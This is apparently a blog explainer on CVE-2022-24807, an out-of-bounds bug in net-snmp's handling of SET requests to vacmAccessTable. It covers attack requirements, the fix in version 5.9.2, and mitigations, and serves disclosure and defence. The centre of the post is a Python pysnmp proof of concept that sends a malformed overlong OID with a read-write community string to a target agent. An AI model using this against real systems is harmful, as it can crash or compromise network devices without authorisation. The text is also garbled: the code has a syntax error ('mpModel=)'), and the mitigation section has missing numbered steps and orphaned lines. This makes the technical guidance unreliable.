Net-SNMP is a popular suite of applications used for implementing SNMP (Simple Network Management Protocol) agents and tools on a variety of systems. SNMP is used widely for network monitoring and management and provides ways to read and set values (called OIDs) from devices ranging from printers to routers and servers.

But like many powerful tools, it needs to be used with caution. In early 2022, a vulnerability, CVE-2022-24807, was disclosed affecting specific versions of net-snmp. This long-read post will break down what this vulnerability is, how it works, and what users can do to protect themselves.

What is CVE-2022-24807?

In short: a bug in net-snmp versions before 5.9.2 lets a user with write credentials (even just over the LAN) send a specially crafted request causing an out-of-bounds memory access. This memory bug could crash the snmpd process, or potentially be used to execute malicious code.

Where is the Bug?

The flaw lies in handling a specific SNMP MIB table:
SNMP-VIEW-BASED-ACM-MIB::vacmAccessTable, which relates to SNMP access controls themselves.

When the SNMP engine gets a maliciously crafted SET request for this table, it parses the request OID (Object Identifier) wrong—failing to check the bounds properly and reading (or possibly writing) outside the intended memory. This is a classic programming mistake with sometimes serious consequences.

Attack requirements

- The attacker needs *read-write SNMP credentials* (community string for v1/v2c or auth/user for v3).

The attacker must be able to send packets to your SNMP agent (usually UDP port 161).

Most internet devices should not expose SNMP to the world, but attacks could come from internal networks or a compromised segment.

Technical Details & Exploit Example

Let’s step through what an *oversimplified* exploit might look like.

1. Crafting the Malicious SET Request

The attack leverages a malformed OID directed at vacmAccessTable. An OID for this table might look like:

.1.3.6.1.6.3.16.1.4.1.4.[index subidentifiers]

To exploit, the attacker makes the OID *too long* or *with wrong values*, causing snmpd to access memory it shouldn’t.

2. Example Code: Sending a Malformed SET

Let’s use Python with the pysnmp library to send a SET request. (This generic code is for educational purposes and should never be used against systems without permission.)

from pysnmp.hlapi import *

# Target info
target = '192.168.1.100'
community = 'private'  # or SNMPv3 credentials if using v3

# Malformed OID: intentionally out-of-bounds values
malformed_oid = '1.3.6.1.6.3.16.1.4.1.4.20.999.999.999.999.999.999'

errorIndication, errorStatus, errorIndex, varBinds = next(
    setCmd(
        SnmpEngine(),
        CommunityData(community, mpModel=), # v1; use mpModel=1 for v2c
        UdpTransportTarget((target, 161)),
        ContextData(),
        ObjectType(
            ObjectIdentity(malformed_oid), Integer(1)
        )
    )
)

if errorIndication:
    print("Error:", errorIndication)
elif errorStatus:
    print("SNMP Error:", errorStatus.prettyPrint())
else:
    print("SET sent successfully")

Why is this Vulnerable Code Dangerous?

- Memory reads/writes out-of-bounds are one of the most common root causes for remote code execution exploits.
- A determined attacker could leverage this for *remote denial of service* (DoS) or, with luck and skill, to plant malicious code.

How Has This Been Fixed?

Version 5.9.2 of net-snmp includes a patch which adds *proper validation and bounds-checking* on the relevant code path.

If your SNMP daemon is older than 5.9.2, it is strongly recommended to update it as soon as possible.

- Changelog for 5.9.2
- Upstream Patch
- CVE Entry at NVD

Restrict SNMP access to only trusted management subnets.

4. If you must use SNMPv1/v2c:

Exploitable by anyone with valid read-write SNMP credentials.

- Can be *quickly mitigated* by updating to version 5.9.2, using strong and limited credentials, and restricting access.

References

- CVE-2022-24807 - NVD Details
- Net-SNMP 5.9.2 Release at GitHub
- Original Patch Pull Request
- Net-SNMP Webpage

Timeline

Published on: 04/16/2024 20:15:08 UTC